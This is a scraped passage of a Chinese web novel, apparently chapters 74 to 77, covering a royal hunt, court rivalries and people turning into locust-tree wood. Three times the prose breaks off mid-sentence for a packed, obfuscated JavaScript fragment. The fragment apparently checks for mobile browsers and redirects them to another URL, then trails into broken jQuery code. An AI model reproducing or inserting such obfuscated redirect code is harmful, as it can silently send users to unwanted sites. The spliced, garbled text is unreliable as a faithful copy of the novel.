宫里尽是拜高踩低之流,以折杞如今不尴不尬的身份,若没有皇后经常扶持,兴许压根没人想起他来。 周昭心想:“看来母后是真喜欢折杞,但以折杞的性子,禁军怕不是个好去处。”她问道:“折杞,你日后有什么打算?” 折杞目露困惑,显然毫无打算。 周澈说道:“小昭,同在禁军,我会照拂他的。” 周昭点点头,道:“那再好不过了。” 开了春就是一年一度的皇家围猎,霍璋却等不到围猎开场,孟舒联合周边小国频频侵扰,过了年只怕又要卷土重来,霍璋只得早早离开盛都回去备战。 临行那日周昭去送,霍璋却端的是一派从容潇洒,摸了摸腰间佩剑,说道:“都说北疆苦寒,我霍璋偏爱那高山冷雪。” 又道:“殿下,有句话叫‘明枪易躲,暗箭难防’。殿下孤身在盛都,万望珍重。” 其实哪有什么偏爱,边关苦寒外人读来只是轻飘飘的四个字,压在将士身上则是沉甸甸的皑皑白雪和漫天黄沙。 可要不这么说,怎么劝得动一颗心甘愿离开故土? 周昭知道他的意思,抿唇笑道:“这句也送将军,万望珍重。对了将军,我拜托您那件事……” 霍璋道:“殿下放心,一有消息我便送信回来。但咱们找了两年不见下落……” 周昭叹了口气:“尽人事,听天命吧……裴砚,来。将军,这就是我跟你提过的裴砚。” 霍璋拍了拍裴砚的肩膀:“殿下都跟我说了,那一年是你拼死送信,有心了。” 裴砚似乎并没有周昭想象中看见崇拜之人那么兴奋,只是道:“能为霍将军做事是我的福气。” 燕飞跟赵六子同样依依不舍,赵六子端坐马上,挥手告别道:“阿鸢,常来看俺们!” 霍璋一巴掌拍在赵六子后脑,低声笑骂道:“不知轻重的东西。” 他策马回身,神采飞扬,笑道:“殿下,保重!” 千军万马一路向北浩浩荡荡而去,马蹄扬起沙尘翻滚,不知迷了谁的眼。 裴砚小声道:“殿下,他们走了。”周昭应了声,叹息道:“咱们也回去罢。” 二人骑马回城,周昭放慢步调,道:“裴砚,有的时候我很羡慕你。” 裴砚轻勒缰绳,道:“殿下总不会羡慕我孑然一身,无牵无挂吧。” 周昭被他说中,微笑道:“如果我是你,我便调转马头,策马向北。” 裴砚淡淡道:“殿下心有牵挂,也有牵挂着殿下的人,是件好事儿。从前我觉得牵挂是件麻烦事儿,不仅麻烦,还很愚蠢。后来又不这么想。” 周昭觉得这话耳熟,侧过脸看着裴砚,若有所思道:“裴砚,你很像我从前一位朋友。” 裴砚微微一笑,自嘲道:“哦?看来你那位朋友也是个可怜人。” 在北疆这两年,周昭从未间断打听萧十六的消息,但萧十六这个人就好像在无妄海凭空消失了,再也找不见。如今见裴砚同萧十六年纪相仿,又是一样无亲无故,不由多了几分亲近。 “可怜谈不上,却是个有趣的人。”周昭回忆往事,唇角露出笑来,“有趣,脾气古怪……裴砚,左右一路无聊,你愿意跟我讲讲你从前的事儿吗?” “没什么好讲的。”裴砚又道,“我若说了,殿下可能会觉得无趣。” “怎么会呢?” 裴砚想了想,说道:“无外乎就是一生下来就没了爹娘,东躲西藏长大,后来实在藏不下去了,又跑出来找条活路。” 他说的轻描淡写,好像在说旁人身上发生的事情,周昭一阵沉默,问道:“所以你跑去北疆当了兵?” 裴砚不置可否,算是默认。 周昭又问:“你有什么很想做的事情吗?嗯......换个词儿,期许,裴砚你有什么期许吗?” 裴砚摇摇头,回答:“不知道,应该没有吧。” 周昭道:“人人都有一个期许,譬如父皇想四海安定,国泰民安,霍将军想北疆无战事,至于大哥......我想他应该是想做皇储。” 这里据皇城还有段距离,周昭说话也比平时随意。裴砚看向她,问道:“殿下呢?殿下的期许是什么?” “好啊裴砚,你学会耍赖了,是我先问你的。”周昭玩笑道。她目视前方,过了阵子,轻声道,“我想师父活过来,想再看看他。” 裴砚低下头没说话,周昭一口气说完,心中反而畅快许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907030|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,偏过头道:“该你说了,裴砚。” 裴砚似乎认真想了想,答道:“我想自由自在地活一回,就像现在这样。” 周昭忍不住笑道:“裴砚,你的心愿很容易实现呢。” 裴砚也淡淡一笑:“也许吧。” 盛都连绵不断的雪天终于彻底放晴,南疆又传来捷报,宣庆帝龙颜大悦,命钦天监重新择良期,将围猎的日子提前了近半月。 皇帝随口一说,可苦了当差的官员,不得不紧锣密鼓安排围猎事宜。 这样一来,在禁军当个闲职的周澈不得不亲自往猎场跑。周昭不忍周澈劳累辛苦,因此只要能代劳的统统揽下来。裴砚自然跟着周昭跑上跑下,就连折杞都听了消息跑来帮忙。 周澈靠在软椅上闭目养神,暗暗笑道:“小昭,你这样跑来南衙,大哥知道要不高兴。” 周昭后悔不迭:“早知如此,那日我就该应了父皇的话,五哥你也不必大冷天往这地方来。” 南衙的羽林军懒散惯了,本来不服周澈这位身娇体弱的小王爷,但上回盗墓贼一事沾周澈的光得了皇帝赏赐,鼻子灵些的,早就嗅到盛都里的风向要变了,因此不消几日就对周澈毕恭毕敬起来,这份恭敬里头自然包括了一道而来的周昭。 一人捧着围场的猎物名册,说道:“两位殿下有所不知,围猎最重要的是护卫陛下安全,实则最琐碎的是前期围场,搭建营地之类的杂活。本来这活儿合该禁军两个营一起干,但咱们的人去北衙好几回,别说总督大人,连北衙统领的面儿都没见着。北衙的人一问就是人不外借,唉,难!” 周昭凑在周澈耳边小声道:“五哥,看来总督大人气量忒小。上回拉拢你不成,想出这等招数来。” 周澈睁开眼睛,问那士兵:“往年围猎怎么安排?” 对方没料到周澈会这么问,结巴道:“啊往年……” 这时一个身高八尺,皮肤黝黑的男子大踏步走来,他一身羽林军服,虽然五官并不出彩,却也称得上气宇轩昂四个字。 周昭正打量着,男子人还未走到跟前,一巴掌先拍在那士兵后脑勺上,骂道:“这点儿小事儿都办不好,值得拿来叨扰两位殿下?” “哎呦统领!您不是在家养病吗?好啦?”士兵缩了缩脖子,递上一个笑面孔。 被称作统领的男人朝周昭二人深深拜道:“下官闫斯年。”他抬起头,又道:“早就该来二位殿下跟前点卯,前些日子我打猎伤了腿脚,耽误了,望二位殿下莫怪。” 周澈见过闫斯年几面,如今才是第一回说上话,微笑道:“闫统领客气了,算来我比你官职低,合该我早些去府上拜访的。” 几人寒暄一番,闫斯年接过名册翻了几下,不问自答道:“往年也是北衙负责护卫,咱们负责围场。这也没什么大不了,北衙吃香嘛,不过今年提前了半月,这混小子倒不算报假,人手是紧张些。” 闫斯年身上却没有羽林军惯有的那股子懒散气,十分干练,这样的人屈就在南衙这样的小地方,难免会有郁郁不得志之感,但眼前这个人却不然,语气之中透着股天然的洒脱。 “依统领高见,如何是好?”周昭问道。 闫斯年道:“我再亲自跑一趟北衙,那陈子明虽然是个碎嘴子,眼高于顶,也跟我喝过几次酒,总不至于要几个兵都不给吧。” 周澈兄妹二人对视一眼,均知这事儿没这么好办。 闫斯年又哪里知道莲花楼一事,还当陈子明会卖他个面子,周昭道:“一个陈子明好说,就怕……” 就怕陈子明背后牵扯出来的。 她欲言又止,周澈洞穿她的心思,说道:“我也这么想,不过此事也没到那地步。” 周澈脸色略微苍白,说起话来也是轻声细语,虽胸有城府却坦荡明澈,让人如沐春风,好像有天大的事儿在周澈面前也能尘埃落定。 周昭明白了他的意思,微笑道:“我懂了,咱们不如以静制动。一个小小的南衙,误了围猎大事,想必最着急的还是那位总督大人。闫统领,我想,你不必跑这一趟了。” 75. 第 75 章 宣庆二十五年春,天子携皇室宗亲与文武百官前往北苑猎场。 北苑位于盛都以北三十里,靠近皇陵,历来都是皇家专用猎场。 时值三月初春,天气转暖,万物复苏,正是狩猎好时节。 仪仗之下,宣庆帝微阖双目,气色较去年隆冬好上不少。 礼部尚书李知远躬身道:“陛下,吉时已到。” 宣庆帝睁开眼睛,抬手道:“卜岁吧。” 台下百官身穿各色骑装,连周澈今日都罕见穿着一身劲装。 周驰发冠高束,眉宇间压着几分威严,说道:“往年都是国师卜岁,今年换了人,不知会卜出什么卦象来......”沈博安附和道:“我大周威震四海,当然是好卦。” 周驰转头问道:“小妹,你说说。” 周昭见那卜岁一应物品,本就睹物思人,勉强笑道:“小妹说不上来。” 沈博安佯装惊讶道:“国师难道没有教公主殿下占卜之术吗?” 这回围猎提前了半月,本以为能跟南衙那位小王爷好好“叙叙旧”,谁知对方派人来了几趟就再也没提借人的事儿,沈博安那一口气憋到十天前,眼看围猎在即,终于忍不住放了北衙的人去帮忙。 他心气儿不顺,便拿这话来刺一刺周昭。 李知远笑说:“总督大人,占卜乃是下等人学的东西,公主殿下金枝玉叶,自然不会学这个了。” 沈博安道:“哦,尚书大人说得对,沈某倒是忘了。” 二人一唱一和,周昭倒不觉得自己有什么,只是听不得有人说江梅棠不好,欲争辩几句,周澈暗中拍了拍她的衣袖,低声道:“父皇看着呢。” 周昭只好忍耐,小声道:“师父在时,这些人巴结都来不及。” 周澈微微摇头,没说什么。 等了多时,迟迟不见卜官回禀,宣庆帝问道:“卜岁如何?” 卜官为难道:“回陛下,微臣连卜三次,皆呈震卦。震卦属木,木旺于春,只是......” 宣庆帝蹙眉道:“只是什么?” 卜官又看了一眼卦象,大着胆子回禀道:“只是这卦象非吉非凶,三卦吉凶之间来回摇摆,筮不过三,故臣不敢再卜。” “......”宣庆帝不大满意,挥手道,“下去罢。要是国师还在......” 卜官连忙谢恩退下,沈博安不以为意,低声对左右道:“依沈某看,这卜官道行太浅,话不可信。” 宣庆帝起身道:“诸位爱卿,近日赤霞关、南疆接连告捷,朕心甚悦。今日围猎,亦是为彰显大周国威。猎得多者,朕重重有赏!” 百官俯首谢恩道:“陛下万岁!” 宣庆帝免了礼,看上去心情不错,道:“把朕的千张弓拿来!” 那弓重达三十斤,弓身刺金蟒,是宣庆帝还是王爷时所用之物。宣庆帝握着那张弓,轻轻抚摸道:“这弓随朕多年,可惜不曾见过沙场......明鸢,你来。” 周昭微惊,起身上前,宣庆帝将弓交到周昭手里,怜爱道:“明鸢是第一次跟哥哥们来围猎,这把弓朕今日赐给你,莫要辜负了。” 言罢,宣庆帝在周昭手背轻轻拍了两下,周昭只觉手上弓箭有千斤重,低着头道:“谢父皇赏赐,儿臣知道了。” 周驰脸色不大好看,周澈微笑道:“大哥,当年你第一次来围猎,父皇也赏了不少东西。明鸢那时候还很小,嚷嚷着也要向父皇讨赏赐,你抱着明鸢坐在马上,哄着说要抓只兔子送给她。后来兔子是抓着了,明鸢也被吓得大哭,大哥还记得吗?” 周驰面容和缓些,弯起唇角道:“明鸢还是小时候乖些......长大了,愈发生分。” 周驰的目光沉下去,周澈道:“咱们兄妹四个一同长大,身上流着一样的血。只要大哥愿意,生分不了。” “......”周驰似笑非笑道,“五弟今年又打算什么都不捕?” 周澈低笑道:“大哥莫要拿我寻开心。” 沈博安凑上前来,说道:“五殿下宅心仁厚,沈某佩服得很!” 周驰打量沈博安几眼,道:“听说总督大人带了美人在侧,今年围猎怕是心有余、力不足了。” 沈博安笑而不语,周驰难免觉得他行事蠢笨,难当大用。他翻身上马,居高临下道:“五弟!告诉小妹一声,我不会让着她的!驾!” 百官各自都散了,周昭手握重弓走过来。 她一袭深绯色骑装,脚踩软皮靴,腰悬柳叶刀。长发编成数股细细的辫子,发尾又系着一根绯色丝带,肤白如雪,双眸有神,连沈博安见惯了美人,都忍不住感叹道:“啧啧,公主殿下出落得愈发绝色了......” 他言语轻浮,周澈面露鄙夷,沈博安没讨到好,独自讪讪离开。 周昭走近道:“五哥,猎场风大,莫要在风口站久了。” 周澈笑道:“你五哥又不是娇小姐,风一吹就跑了。” 此时裴砚牵了马过来,周澈道:“小昭,你别管我了,快去吧。父皇赐你宝弓,可不能空手而归。” 周昭垂眸应了,抬头又是眉眼俱笑:“五哥,我打只雪狐狸给你解闷儿,好不好?” 她说着扬鞭策马,叫道:“裴砚,跟我走!” 绯色身影如离弦之箭,裴砚紧随其后,二人双双往南去了。 周昭心思不在讨赏,又不猎杀幼崽,所以在林中兜了半个多时辰,收获并不算丰盛。 裴砚跟在周昭身后,他单手握了只长枪搭在肩头,枪尖挑了只皮毛黝黑的野狼,找话说道:“殿下,你的这匹马很漂亮。” 周昭摸了摸狼牙的脑袋,笑说:“是啊,送我狼牙的那位也是位爱美的主儿。” 裴砚问道:“原来这马是殿下朋友送的。” 周昭正要说话,却瞅见前面树叶微动,露出一撮雪白来,周昭比了个手势,搭弓欲射,那团雪白突然从树后跃起,原来不是雪狐狸,而是个穿白衣的少年。 周昭吓出一身冷汗,放下弓叫道:“折杞!你躲在那儿做什么?” 折杞面如土色,磕磕巴巴道:“昭、昭姐姐,我......” 他手里也拿了张弓,但远不如周昭手上的好,甚至连裴砚的都不如。 周昭问道:“围猎怎地不带个人跟着,这地方危险,莫要伤着自个人。” 折杞勉强笑了笑,低着头道:“原本是有人跟着我的,我走散了......” 周昭心道:“母后虽然疼惜折杞,但他身份尴尬,性子又软,想来这些年过得并不好。” 她偏过头道:“裴砚,你去跟着折杞。” 裴砚挑了挑眉毛,很不给面子地拒绝道:“我只跟着殿下。” 折杞愈发尴尬,连连后退道:“昭姐姐,你们不用管我,我、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911918|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能找到回去的路!” 周昭哭笑不得,只好又对裴砚说:“裴砚,你把咱们的猎物分他一半儿,然后送他出去。” 裴砚老大不情愿地下了马,一个声音自林间传来—— “多大的人了,还这么没出息!” 来人一身苍蓝底色骑装,腰间斜挎一把弯刀,身材高大,双目炯炯。 周昭惊喜叫道:“长淮!” 她翻身下马,奔出数十步,谢景张开双臂将周昭一把抱住,在她后背轻拍了两下,笑道:“阿昭,好久不见。” 两年时间一晃而过,谢景已比周昭高出许多,肤色也比从前黑些,眉眼英气逼人,周身气度则较从前张扬外露多了几分沉稳。 周昭冷不防被谢景抱住,不由愣了愣。 这里虽然僻静,但万一被人瞧了去又要生出是非,长淮怎么突然…… 好在谢景很快放开她,哈哈笑道:“阿昭!你果然长大了,怎么人都傻了!” 一只手臂挡在二人中间,裴砚扬着下巴道:“谢景殿下,自重。” 谢景打量裴砚几眼,问道:“这人谁啊?” 周昭疑惑道:“长淮,这是裴砚啊,两年前不是你送他来盛都的吗?” 谢景略一思索,道:“哦哦,想起来了,好像是叫裴什么来着。” 他眉头微蹙,又道:“那时候你不是快死了吗?后来病又好了?哎不重要,阿昭,还是说说你,这几年过得好吗?” “挺好的。”周昭点点头,“你呢,怎地突然出现在这儿了?” 前些日子就听说谢景要来盛都,但周昭没料到会在猎场相见。 谢景道:“我昨日就到盛都了,已经见过陛下,陛下特准我来参观围猎。瞒着不说,是想给你个惊喜。” 周昭问道:“刚才怎么不见你?” 谢景眸光暗淡,道:“刚才是去见师父了。” 北苑离苍界山不远,提及江梅棠,二人神色都略有感伤,周昭道:“是我不好,没看好师父。” 谢景摇头道:“这不怪你。” 他目光掠过一丝凶狠,咬牙切齿道:“等我抓到那贼,砍了他的头去祭拜师父!” 二人叙完旧,谢景才接着刚才的话说:“折杞这小子,怎么还是没长进。” 折杞被他看得心里发毛,但到底比从前长了几岁,不会动不动就哭,他低声唤道:“谢景哥哥......” 谢景走过去摸了摸狼牙,那枣红烈马对他十分亲近,脑袋在谢景掌心蹭了又蹭。 谢景道:“阿昭,狼牙被你养得很好,就是马鞭旧了,有机会我送你个新的。” 周昭笑而不语,谢景看了看裴砚准备分给折杞的猎物,道:“收起来吧。折杞,你跟我走。” 这便是要帮折杞打猎物,周昭笑而不语,心说谢景还是吃软不吃硬的性子。 裴砚走过来,看着二人背影道:“谢景殿下还是一点儿没变。” 裴砚语气里的敌意很明显,周昭不由想到两年前这二人初次见面就不大愉快,忍不住道:“裴砚,来了盛都之后,你跟长淮是有什么过节吗?” 裴砚道:“过节谈不上。” 周昭问道:“刚才长淮说你生病了,怎么回事儿?” “哦,那时候来盛都不大适应这里的气候,又受着伤,所以生了场病。后来谢景殿下回黎国去了,估计还当我死了吧。” 76. 第 76 章 晚宴点起火把,北苑许久不曾这么热闹过。 猎物最多的是平南王周驰,不仅猎的最多,还给宣庆帝献上一只成年花斑虎。 次多是周昭,她果真抓了只雪狐狸送给周澈,献给帝后的则是两只双眸黛蓝的梅花鹿。 令人意外的是那位默默无闻的质子折杞,竟也收获颇丰。 宣庆帝瞧不出喜怒,依着皇后,给了折杞禁军参军一职,其余则依着往年惯例,各自赏赐了些无关紧要的。 王公贵族坐在左侧,大臣们坐在右侧,女宾们则有专门的坐席。觥筹交错间,有人道:“明鸢殿下今年也快十八了吧,不知要下嫁给谁家的公子少爷?” “公子少爷?咱们陛下可就这么一个宝贝女儿,驸马必然是人中龙凤里再挑好的。” 百官纷纷点头,这其中冒出来一个声音道:“我看黎国那位就很好。” 四下安静了一瞬,沈博安继续道:“那谢景跟明鸢殿下青梅竹马,我瞧着般配得很。刚才我的人还看到,公主跟黎国那位搂搂抱抱……” 宣庆帝向下扫了一眼,笑说:“众卿在议论何事?也说来让朕听听。” 李知远坐的离沈博安最近,答道:“回陛下,臣等是羡慕这席间一对璧人,养眼得很呐。” 宣庆帝问道:“哦?” 李知远继续道:“陛下您瞧,明鸢殿下跟黎国谢景殿下,是不是一对璧人?” 周昭本来低头跟谢景说话,一众目光落在他二人身上,宣庆帝看了看,语气莫测道:“明鸢跟长淮自小一同长大,情谊深厚也是应该的。” 沈博安趁机道:“陛下,依臣看,不如乘此机会给两位殿下赐婚,也算一桩美谈呐!” 此言一出,周昭面露不快,周澈亦眉头紧锁。 周驰则低头饮酒,看不清神色。 周昭站出来道:“父皇,儿臣还小,还想在父皇母后膝下多侍奉几年。总督大人说这些,为时尚早吧。” 沈博安无赖笑道:“我随口一说罢了,再说男女之事乃人之常情,公主殿下又何必不好意思呢?” 宣庆帝打量各人神情,转向谢景,问道:“长淮,你怎么看?” “......”谢景道,“全凭陛下做主。” 周昭本以为谢景会一口回绝,谁知对方打了她个措手不及,不由道:“父皇!” 皇后适时起身道:“陛下,昭儿还小,过两年再议不迟。” 宣庆帝不发一言,也无人再敢说什么。 一名侍卫神色匆匆上前,附在沈博安耳边说了句什么,沈博安脸色大变。 恰在此时,一声尖叫划破夜空,来报信的宫人满面惊恐,未至跟前便跌了一跤,打翻桌上琉璃盏,叫道:“妖怪!” 尖叫声此起彼伏,宣庆帝霍然站起,周驰拔剑四顾,高声喝道:“护驾!” 一时间席间乱作一团,只听人人口中都在喊妖怪,但压根看不到哪里有所谓妖怪的影子。 混乱之中,周昭眼疾手快抓住刚才报信的宫人,问道:“什么妖怪?话说清楚!” 那宫人趴在地上瑟瑟发抖,指了指来时的方向,道:“公、公主殿下,真的有妖怪!” 周昭丢开他,向前奔出数十步,先是闻到一股似曾相识的幽香,一个面容随之闯入她眼中。 那女子一身粉白纱裙,面容娇艳无比,正是那日莲花楼见过的女子。 但不同的是,那从衣袖中露出来的却不是美人玉臂,而是两根乌黑丑陋的木头! 周昭愣在原地,那女子满脸是泪,张着两只“木头手臂”奔走道:“我、我不是妖怪!” 身后周澈也认出女子来,惊讶道:“这是怎么一回事儿?” 裴砚拉住周昭,小声道:“殿下别过去!” 女子看见周澈,像是看见了希望,边往这边跑边呼喊道:“殿下救我!殿——” 她话音未落,一道雪白剑芒在眼前一闪而过,沈博安收了剑,厉声道:“还不把妖人拖下去!” 女子咽喉已断,那张美艳的脸上眼泪犹在滑落。 鲜血洒了一地,溅在周澈脚面上,他面容惨白,吓得不轻。周昭扶住他道:“五哥!” 周澈带着少见的怒意问道:“为何不问清楚就杀人?” 沈博安阴笑道:“五殿下看清楚了,这是妖怪附身。” 他头也不回地离开,实际双脚都在发软。这女子正是沈博安近日新宠陈夫人,那日周澈没收,如此美人沈博安自然不会放过。 其实前几日沈博安就听自己的美妾抱怨,说最近双手不太灵便,胳膊也抬不起来,沈博安还专门请了大夫来瞧,本以为没什么大事儿。 谁知道今天手下来报,说新夫人长出来两根木头手臂! 人是他沈博安带来的,如果惊了圣驾,那就是他的罪责。沈博安这才当机立断,管她是人是妖,先一刀杀了再说! “妖怪”已死,尸首带到宣庆帝面前。 沈博安跪在边上忐忑不安,说道:“回陛下的话,此女虽然是臣府上的,但绝对不是妖怪!一定是被什么妖物附了身,臣担心妖物图谋不轨,这才大义灭亲将其杀死,可怜臣这新夫人......” 沈博安说着留下几滴泪来,宣庆帝半信半疑道:“不是妖怪?是妖怪附身?” “千真万确!”沈博安指天发誓道,“陛下,臣前几个月还带夫人去莲花楼吃饭,不光莲花楼的人可以作证,公主殿下、公主殿下也见过的!” 宣庆帝看向周昭,周昭点头道:“儿臣确实见过总督夫人一面,但隔得远,是不是妖物,儿臣看不清楚。” “殿下你!”沈博安正欲再说,宣庆帝制止道:“好了!明鸢又没有一双会识妖物的眼睛!” “陛下说的是......” 宣庆帝看着那具尸首问道:“那是什么木头?” “回陛下,是槐木。” 周驰道:“五弟,你们南衙不是负责围猎事宜吗?难道没有发现,有什么可疑的东西混进来了?” 周澈低头道:“父皇,此事是儿臣办得不好。” 周驰跟着道:“父皇,先不论这女子是妖,还是被妖所害。这北苑猎场不干净,父皇还是早些起驾回宫的好。” 宣庆帝抬眸,目光沉沉,说道:“就因为两根烂木头,难道就要朕躲回宫里吗?” “儿臣并非此意......” 宣庆帝不快离席,坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917936|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持不肯回宫。 此后几天虽人心惶惶,北苑却风平浪静。那具长着槐木手臂的尸体一把火烧了个干净,没人再敢提起那一晚发生的事情。 禁军守卫愈发森严,不敢有丝毫懈怠,周昭每日陪着周澈查点来往名册,忙得昏天黑地,等再见着谢景说上话已经是两日之后。 周昭记起晚宴赐婚一事,问道:“长淮,你那日做什么要答应父皇赐婚?” 谁知谢景道:“咱们都是皇子,婚姻大事本就由不得自己做主。如果日后要跟自己讨厌的人过一辈子,还不如咱们两个过。再说周朝强盛,难道我还敢说个‘不’字吗?我以为,这对咱们都是件好事。” 周昭一时没话说,叹息道:“我竟不知,你会如此消极。” 谢景蹙着眉头道:“这两年不太平,黎国只能继续依附周朝才能勉强生存。阿昭,你又不是不知道,这两年北疆打得天翻地覆,父皇夹在中间,很是不好过,身体也差了许多。” 周昭道:“长淮,你比从前稳重很多。” 谢景笑道:“是吗?” 周昭点点头,问道:“祭拜完师父,你是不是最近要回去了?” 谢景道:“嗯,过两天就回黎国了。本来想来盛都多待会儿,但我看你也忙得很。” 周昭勉强一笑,此时裴砚跟着闫斯年一道匆匆跑来,神色凝重,他看了谢景一眼,道:“殿下,那东西又出现了。” 这回不在北苑,而是盛都城内。 跟被杀掉的陈夫人一模一样,那人不光双臂变成槐木,连双脚都开始木质化。 起初还当是胳膊上生了疮,医馆大夫往他双臂扎针,谁料一针下去,针却断了。 后来又挖了那些烂肉,仍是不行。恰逢听说北苑猎场出了怪物,被禁军当场斩杀。 那人心里害怕,携家带口连夜出城,谁知在城门口突然双腿也变成槐木,走不了路摔了个跟斗,这才被守卫发现抓了个正着。 百官接连上奏,恳请宣庆帝回宫。 当天下午,仪仗队便从北苑猎场匆忙离开,回宫去了。 周澈自北苑回来便一病不起,不光如此,沈博安也告病不朝,禁军无人,加之宣庆帝旧疾复发,回盛都第二日,便下令平南王代行总督一职。 周驰转动拇指象牙扳指,问道:“小妹,你觉得这是什么妖物?” 周昭微微摇头,回答道:“我看不像妖物。不管是陈夫人还是新抓的那人,从前都是普通人。” “我也觉得不像。”周驰点头道,“但普通人又怎么会变成那副模样,说来说去还是跟妖脱不了干系。” 周昭问道:“大哥觉得,该如何处置那人?” 周驰斩钉截铁道:“关起来,若再异化,斩了。” 周昭不置可否,二人同去牢狱,那人哭天喊地痛苦不堪,叫道:“大人!小人真的不是妖怪,小人也不知道怎么了,突然就变成这个样子!小人、小人一定是得了什么怪病!恳请两位大人派大夫给小人瞧瞧,千万别杀我啊!大人!” 他双手双脚都变成槐木,更奇怪的是,那槐树竟好像活着似的,比昨天还要粗壮些。 周驰满脸嫌恶,侍卫来报:“殿下!不好了!” 77. 第 77 章 “慌什么!说。” 那侍卫道:“城中、城中又……” 正说着,牢狱里关着的那人突然发出撕心裂肺的尖叫,周昭定睛一看,骇道:“大哥!快看!” 侍卫连连后退,面露惊恐,叫道:“槐树,这槐树活了!” 只见狱中传来嘎吱嘎吱的破土声,那人尖叫连连,眼看着自己的双脚变成树根插进地面,与此同时,他的手臂树干也开始缓慢地蠕动生长。 “妖、妖怪!”那人两眼一翻,昏过去了。 周驰终于不复淡定,下意识握住周昭的手,将她往后带了带,语气不稳道:“小妹别怕。” 二人匆忙赶到宫外,城南早就尖叫声此起彼伏,一夜之间竟又有五个人变成槐树,医馆前堆满了人,大夫却不敢接诊,嚎哭声接连不断。 闫斯年跑过来,躬身道:“二位殿下,这些……人,看是如何处置?” 周驰眉头紧锁,道:“先带回去。” 闫斯年看他一眼,问道:“是继续往大理寺带,还是……” 周昭提议道:“大哥,大理寺是关重犯的。这些人若都关进大理寺,恐怕会民心不稳……” 周驰点头道:“带去禁军大营,专门辟个地方关。” 闫斯年应了一声,又犯了难。 这禁军两个大营,不知道眼前两位主子要往哪个营关。闫斯年偷偷看了周驰一眼,又不敢再问。 他本就是南衙统领,于情于理没有往北衙塞人的道理,于是暗自做主,将这些化妖之人关进南衙十六卫去了。 周昭知道后并未怪罪,闫斯年松了口气,又听这位年轻的公主殿下问道:“统领,沈总督告假有多少时日了?” 闫斯年道:“自围猎回来告假,有小半月了。” “小半月……”周昭沉吟道,“咱们看看去。” 闫斯年从前没跟周昭打过交道,按照宫里公主的规格命人备下马车软轿,才见到周昭跟一少年坐于马上,周昭蹙眉反问道:“事态紧急,统领要坐马车前去吗?” 闫斯年有苦说不出,当即上马随周昭而去。 到了沈府,却见府门紧闭,里面鸦雀无声。 裴砚前去叫门,许久才有人应,见了周昭就要把门关上。 裴砚一脚踢过去,周昭制止道:“裴砚。” 裴砚果然不再往里闯,闫斯年瞧着新奇,暗道这位公主殿下不一般,府里侍卫也胆子忒大,连禁军总督的大门都敢踹。 但他没空细想,周昭已然进去,闫斯年随即跟上。 刚入沈府,首先映入眼帘的就是一棵参天大树。 “又是槐树……”周昭眯起眼睛,裴砚拦在她身前:“殿下,先别靠近。” 闫斯年抓住刚才开门的小厮,问道:“公主殿下亲自登门拜访,怎么还不见总督大人?” “总、总督大人……”小厮抖得厉害,说不出一句完整的话。 闫斯年松开他,周昭道:“你们有没有觉得,这总督府太安静了些……” 闫斯年点头道:“的确很安静,这么大的总督府,怎么就见到这一个仆人。” 周昭三人绕着总督府转了一圈儿,别说仆人,连本该告假在家的沈博安影子都没见着。 这种诡异的安静一直持续到后院马厩,周昭嗅出几分不对来,问:“你们有没有闻到什么味道?” “好像是……是血腥味儿。” 周昭道:“还有一股香味,是槐花香。” 闫斯年往气味散发出来的地方走,离马厩越近,味道越浓。 零星几匹马,瘦得可怜,无精打采抬起眼皮看了闫斯年一眼,闫斯年抽出剑来,剑尖在那堆草料里挑了挑。 这一挑不要紧,从里面咕噜噜滚出五六具尸体来! 闫斯年骇了一跳,周昭也惊得后退半步,裴砚却浑然不怕,走上前去查看,蹙眉道:“这些都是异化之后的人。” 尸体的手脚无一例外都呈现出木质痕迹,但这种痕迹并没有完全变成槐木,周昭走近道:“看来,这些人都是在变成槐木之前被杀掉的。” 闫斯年把剑用袖子擦了又擦,闻言抬起头道:“坏了!不会总督大人也……” 话音落地,前屋突然传来一声叽叽咯咯的笑声。 那笑声来得突兀,三人一同奔出去,却无半个人影。 闫斯年举着剑,骂道:“何人装神弄鬼!” 庭院空空荡荡,只有槐花香气扑鼻。 闫斯年摇头道:“殿下,看来凶手已经跑了。” 周昭正要回答,那笑声却突然又起! “嘻嘻嘻嘻!” “咯咯咯咯!” 笑声听得人心里发毛,饶是闫斯年这么大的个子也不安起来,又骂:“给老子滚出来!” 周昭叫道:“统领,好像是那槐树。” 原来这阵笑声,正是他们踏进府门看到的那棵大槐树发出来的。周昭这么一说,笑声突然戛然而止。 周昭疑惑不已,她绕至树后,抬头循声望去,猛然间脸色大变,身子竟晃了几下。 裴砚冲上前去扶住周昭,唤道:“殿下?” 